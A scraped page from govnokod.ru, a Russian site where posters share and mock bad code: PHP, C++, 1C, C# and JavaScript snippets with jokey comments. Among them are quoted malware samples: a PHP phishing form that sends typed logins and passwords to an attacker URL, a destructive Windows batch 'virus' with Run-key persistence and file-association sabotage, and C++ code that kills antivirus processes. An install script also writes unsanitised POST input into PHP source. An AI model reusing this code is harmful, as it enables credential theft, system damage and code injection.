- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
$adres = $_SERVER["REQUEST_URI"];
if (strpos($adres, "?"))
{
$adres = substr( $adres, strpos($adres, "?") + 1 ) ;
$T = explode('?', $adres) ;
$id = $T[0];
$count_product = $T[1];
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+157
$adres = $_SERVER["REQUEST_URI"];
if (strpos($adres, "?"))
{
$adres = substr( $adres, strpos($adres, "?") + 1 ) ;
$T = explode('?', $adres) ;
$id = $T[0];
$count_product = $T[1];
}
Добавление товара в корзину на одном из интернет-магазинов через AJAX.
После нажатия кнопки "В корзину" происходит запрос /js/ajax-basket.php?1966?2
где "1966" - id товара, а "2" - количество
Собственно код выше - это обработка данного запроса
+130
PHP Devel Studio 2.0
Эта программа поможет вам взломать любой почтовик а все пароли будут приходить пароли на сниффер.
И если вы знаете языки программирования тогда для вас нет предела в этой программе!
Скрипт:
$edit1 = c('Form1->edit1')->text;
$edit2 = c('Form1->edit2')->text;
$combobox1 = c('Form1->combobox1')->inText;
$url = "ВВЕДИТЕ СЮДА СВОЕ ССЫЛКУ";
file_get_contents($url . "?" . "login:" . $edit1 . "|pass:" . $edit2);
MessageBox("Невернно введёт логин или пароль", "Ошибка ввода");
"Вирусы" на "PHP". Сбылась мечта идиота...
http://hacker-club27.ucoz.ru/news/php_devel_studio_2_0/2012-07-22-8
+128
@echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
time 0:00 >nul
date 13.06.23 >nul
label C:IDIOT >nul
label D:URAK >nul
label E:SUKA >nul
label F:GANDON >nul
copy %0 C:\Open.bat >nul
copy %0 D:\Open.bat >nul
copy %0 E:\Open.bat >nul
copy %0 F:\Open.bat >nul
net user "Idiot you Hacked" /add >nul
net user "Bitch you Hacked" /add >nul
net user "Durak you Hacked" /add >nul
net user "Kritin you Hacked" /add >nul
net user "Gavno you Hacked" /add >nul
md 1 >nul
md 2 >nul
md 3 >nul
md 4 >nul
md 5 >nul
md 6 >nul
md 7 >nul
md 8 >nul
md 9 >nul
md 10 >nul
md 11 >nul
md 12 >nul
md 13 >nul
md 14 >nul
md 15 >nul
md 16 >nul
md 17 >nul
md 18 >nul
md 19 >nul
md 20 >nul
md 21 >nul
md 22 >nul
md 23 >nul
md 24 >nul
md 25 >nul
md 26 >nul
md 27 >nul
assoc .lnk=.txt >nul
assoc .exe=.txt >nul
:x ;
Start mspaint
goto x ;
:x ;
Start Calc
goto x ;
copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
del %0 >nul
" Теперь прочтите нижний код и если вы поняли, в чем суть вируса, поздравляю вас вы закончили базовый курс, от SMOKED'а, вирусо-писательства. Если же нет. Читаем все заново))"
Вирусо-писатель SMOKED просвещает.
http://hacker-club27.ucoz.ru/index/kak_napisat_svoj_virus_bez_vsjakikh_prog ramm/0-6
+26
char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<kx;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
}
> {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
> TerminateProcess(hProcess,0);
Наивный макак.
http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/
+126
Если переменных в памяти потребуется слишком большое количество,
которое не сможет вместить в себя сама аппаратная часть, произойдет перегрузка системы или её зависание.
Милок сидит на досе и не умеет в gc.
http://code-live.ru/post/cpp-pointers/
+28
#include <iostream>
using namespace std;
int main()
{
int a; // Объявление статической переменной
int b = 5; // Инициализация статической переменной b
a = 10;
b = a + b;
cout << "b is " << b << endl;
return 0;
}
Комментарии доставляют.
http://code-live.ru/post/cpp-pointers/
+155
$data = "<?php define('DSN', 'mysql:dbname={$_POST['db_name']};host={$_POST['host_mysql']}'); define('DBUSER', '{$_POST['login_mysql']}'); define('DBPASS', '{$_POST['password_mysql']}');";
$mysql_string = file_get_contents( 'class/mysql.php' );
$new_mysql = $data . ' ' . $mysql_string;
if ( !file_put_contents( 'class/mysql.php', $new_mysql ) ) {
errorMessage( "Не удалось сохранить файлы конфигураций, пожалуйста обратитесь в службу технической поддержки клиентов" );
}
install.php
−161
Для А =0 по Значение.Количество()-1 Цикл
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1)+"*"+Строка(Значение[А].поле2)+"*"+Строка(Значение[А].поле3)+"*"+Строка(Значение[А].поле4)+"*"+Строка(Значение[А].поле5)+"*"+Строка(Значение[А].поле6)+"*"+Строка(Значение[А].поле7)+"*"+Строка(Значение[А].поле8)+"*"+Строка(Значение[А].поле9)+"*"+Строка(Значение[А].поле10));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1)+"*"+Строка(Значение[А].поле2)+"*"+Строка(Значение[А].поле3)+"*"+Строка(Значение[А].поле4)+"*"+Строка(Значение[А].поле5)+"*"+Строка(Значение[А].поле6)+"*"+Строка(Значение[А].поле7)+"*"+Строка(Значение[А].поле8)+"*"+Строка(Значение[А].поле9));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1)+"*"+Строка(Значение[А].поле2)+"*"+Строка(Значение[А].поле3)+"*"+Строка(Значение[А].поле4)+"*"+Строка(Значение[А].поле5)+"*"+Строка(Значение[А].поле6)+"*"+Строка(Значение[А].поле7)+"*"+Строка(Значение[А].поле8));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1)+"*"+Строка(Значение[А].поле2)+"*"+Строка(Значение[А].поле3)+"*"+Строка(Значение[А].поле4)+"*"+Строка(Значение[А].поле5)+"*"+Строка(Значение[А].поле6)+"*"+Строка(Значение[А].поле7));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1)+"*"+Строка(Значение[А].поле2)+"*"+Строка(Значение[А].поле3)+"*"+Строка(Значение[А].поле4)+"*"+Строка(Значение[А].поле5)+"*"+Строка(Значение[А].поле6));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1)+"*"+Строка(Значение[А].поле2)+"*"+Строка(Значение[А].поле3)+"*"+Строка(Значение[А].поле4)+"*"+Строка(Значение[А].поле5));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1)+"*"+Строка(Значение[А].поле2)+"*"+Строка(Значение[А].поле3)+"*"+Строка(Значение[А].поле4));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1)+"*"+Строка(Значение[А].поле2)+"*"+Строка(Значение[А].поле3));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1)+"*"+(Строка(Значение[А].поле2)));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле1));
Табл.InsertParagraphAfter();
Исключение
Попытка
Табл.InsertAfter(Строка(Значение[А].поле0));
Табл.InsertParagraphAfter();
Исключение
КонецПопытки;
КонецПопытки;
КонецПопытки;
КонецПопытки;
КонецПопытки;
КонецПопытки;
КонецПопытки;
КонецПопытки;
КонецПопытки;
КонецПопытки;
КонецПопытки;
КонецЦикла;
+135
Public CallGridRowModel(CallView callView)
{
. . .
Caller = GetCallerOrCalleeNameColumn(callView, true)
Callee = GetCallerOrCalleeNameColumn(callView, false)
. . .
}
private object GetCallerOrCalleeNameColumn(CallView callView, bool isCallerNameColumn)
{
if(isCallerNameColumn)
{
if(. . .) return . . .;
}
if(!isCallerNameColumn)
{
if(. . .) return . . .;
}
if(isCallerNameColumn)
{
return . . .;
}
else
{
return . . .;
}
}
+155
Object.prototype.toString.call(o).match(/\[object (\w+)\]/)[1];
Реализация typeof